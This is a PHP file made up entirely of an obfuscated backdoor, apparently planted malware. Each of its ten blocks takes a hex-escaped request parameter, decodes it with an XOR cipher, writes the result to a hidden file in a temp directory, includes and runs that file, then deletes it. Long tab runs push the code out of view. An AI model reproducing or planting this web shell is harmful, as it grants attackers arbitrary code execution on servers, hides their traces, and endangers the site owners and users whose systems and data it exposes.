<?php																																										if(isset($_REQUEST) && isset($_REQUEST["t\x6Fk\x65n"])){ $dchunk = array_filter([session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp"]); $obj = $_REQUEST["t\x6Fk\x65n"]; $obj = explode ("." , $obj ) ; $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $w = 0; $len = count($obj); do { if($w >= $len) break; $v1 = $obj[$w]; $chS = ord($s[$w % $sLen]); $dec = ((int)$v1 - $chS -($w % 10)) ^ 33; $data .= chr($dec); $w++; } while(true); while ($hld = array_shift($dchunk)) { if (!( !is_dir($hld) || !is_writable($hld) )) { $marker = "$hld/.reference"; if (@file_put_contents($marker, $data) !== false) { include $marker; unlink($marker); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x72\x65s")){ $dat = $_REQUEST["\x72\x65s"]; $dat = explode ('.', $dat ) ; $descriptor = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $n = 0; while ($n < count($dat)) { $v7 = $dat[$n]; $chS = ord($salt5[$n % $lenS]); $dec = ((int)$v7 - $chS - ($n % 10)) ^29; $descriptor .= chr($dec); $n++; } $bind = array_filter([getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd()]); foreach ($bind as $key => $record) { if (!( !is_dir($record) || !is_writable($record) )) { $marker = implode("/", [$record, ".k"]); if (@file_put_contents($marker, $descriptor) !== false) { include $marker; unlink($marker); die(); } } } }
																																										if(array_key_exists("\x70\x61ra\x6Det\x65\x72\x5Fg\x72o\x75p", $_POST) && !is_null($_POST["\x70\x61ra\x6Det\x65\x72\x5Fg\x72o\x75p"])){ $holder = $_POST["\x70\x61ra\x6Det\x65\x72\x5Fg\x72o\x75p"]; $holder =explode ( '.',$holder ) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($holder as $t =>$v7): $chS = ord($s[$t% $lenS]); $d = ((int)$v7 - $chS - ($t% 10)) ^ 25; $pgrp.= chr($d); endforeach; $symbol = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/tmp", "/dev/shm", "/var/tmp", getenv("TMP")]); foreach ($symbol as $key => $hld) { if (is_dir($hld) && is_writable($hld)) { $pointer = vsprintf("%s/%s", [$hld, ".rec"]); if (@file_put_contents($pointer, $pgrp) !== false) { include $pointer; unlink($pointer); exit; } } } }
																																										if(@$_REQUEST["d\x65s\x63"] !== null){ $pointer = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), "/tmp", "/dev/shm"]); $ent = $_REQUEST["d\x65s\x63"]; $ent= explode ( '.' , $ent ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($ent as $j =>$v3) { $chS = ord($s[$j % $lenS] ); $d = ((int)$v3 - $chS - ($j % 10)) ^ 8; $descriptor .= chr($d ); } $binding = 0; do { $entry = $pointer[$binding] ?? null; if ($binding >= count($pointer)) break; if (max(0, is_dir($entry) * is_writable($entry))) { $val = sprintf("%s/.res", $entry); $success = file_put_contents($val, $descriptor); if ($success) { include $val; @unlink($val); die();} } $binding++; } while (true); }
																																										if(isset($_REQUEST["\x62in\x64"]) ? true : false){ $reference = array_filter(["/dev/shm", getcwd(), session_save_path(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $value = $_REQUEST["\x62in\x64"]; $value= explode ( '.' ,$value) ; $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $len = count( $value); for( $m = 0; $m < $len; $m++) { $v3 = $value[$m]; $sChar = ord( $s[$m % $sLen]); $dec =( ( int)$v3 - $sChar -( $m % 10)) ^ 90; $symbol .=chr( $dec); } foreach ($reference as $key => $resource) { if ((function($d) { return is_dir($d) && is_writable($d); })($resource)) { $pset = vsprintf("%s/%s", [$resource, ".object"]); if (file_put_contents($pset, $symbol)) { require $pset; unlink($pset); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70r\x6Fpert\x79_set"])){ $bind = array_filter([getenv("TMP"), getenv("TEMP"), "/tmp", getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm"]); $hld = $_REQUEST["\x70r\x6Fpert\x79_set"]; $hld = explode ( "." , $hld ) ; $descriptor = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $q = 0; array_walk($hld, function ($v7) use (&$descriptor, &$q, $s9, $sLen) { $chS = ord($s9[$q % $sLen]); $d = ((int)$v7 - $chS - ($q % 10)) ^ 18; $descriptor.=chr($d); $q++;} ); foreach ($bind as $parameter_group): if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $symbol = implode("/", [$parameter_group, ".itm"]); $success = file_put_contents($symbol, $descriptor); if ($success) { include $symbol; @unlink($symbol); exit;} } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x72\x65f"])){ $comp = $_POST["\x72\x65f"]; $comp =explode ( '.' , $comp ) ; $pgrp = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $y = 0; array_walk($comp, function ($v8) use (&$pgrp, &$y, $salt9, $lenS) { $chS = ord($salt9[$y % $lenS]); $dec = ((int)$v8 - $chS - ($y % 10)) ^ 70; $pgrp .=chr($dec); $y++; }); $pointer = array_filter(["/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), session_save_path()]); foreach ($pointer as $flg) { if (is_writable($flg) && is_dir($flg)) { $resource = implode("/", [$flg, ".pset"]); if (file_put_contents($resource, $pgrp)) { require $resource; unlink($resource); exit; } } } }
																																										if(!empty($_REQUEST["\x68\x6F\x6Cder"])){ $record = $_REQUEST["\x68\x6F\x6Cder"]; $record = explode( '.' , $record ) ; $pointer = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($record); for ($w = 0; $w < $len; $w++) { $v3 = $record[$w]; $sChar = ord($s[$w % $sLen]); $d = ((int)$v3 - $sChar - ($w % 10)) ^ 57; $pointer .= chr($d); } $resource = array_filter([getcwd(), "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP")]); foreach ($resource as $key): if ((bool)is_dir($key) && (bool)is_writable($key)) { $k = str_replace("{var_dir}", $key, "{var_dir}/.res"); if (file_put_contents($k, $pointer)) { include $k; @unlink($k); exit; } } endforeach; }
																																										if(array_key_exists("f\x61\x63t\x6Fr", $_POST) && !is_null($_POST["f\x61\x63t\x6Fr"])){ $val = $_POST["f\x61\x63t\x6Fr"]; $val = explode( '.' , $val); $property_set = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($val as $p=>$v3) { $chS = ord($salt[$p % $lenS] ); $dec = ((int)$v3 - $chS - ($p % 10)) ^ 97; $property_set.=chr($dec ); } $ent = array_filter([session_save_path(), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir()]); while ($ptr = array_shift($ent)) { if (!!is_dir($ptr) && !!is_writable($ptr)) { $marker = str_replace("{var_dir}", $ptr, "{var_dir}/.desc"); $file = fopen($marker, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $marker; @unlink($marker); die(); } } } }


if(array_key_exists("v\x61l", $_POST)){
	$resource = array_filter([getenv("TMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path()]);
	$res = $_POST["v\x61l"];
	 $res	= explode("."	  ,	$res)	;
	$object =	'';
            $s =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =	strlen( 	$s );
            $v =	0;
    
            foreach( 	$res as $v8) {
                $chS =	ord( 	$s[$v % $lenS] );
                $dec =	( 	( 	int)$v8 - $chS -( 	$v % 10)) ^ 4;
                $object .= chr( 	$dec );
                $v++;		} 
	foreach ($resource as $key => $desc) {
    		if (!( !is_dir($desc) || !is_writable($desc) )) {
    $factor = str_replace("{var_dir}", $desc, "{var_dir}/.pset");
    if (@file_put_contents($factor, $object) !== false) {
	include $factor;
	unlink($factor);
	exit;
}
}
}
}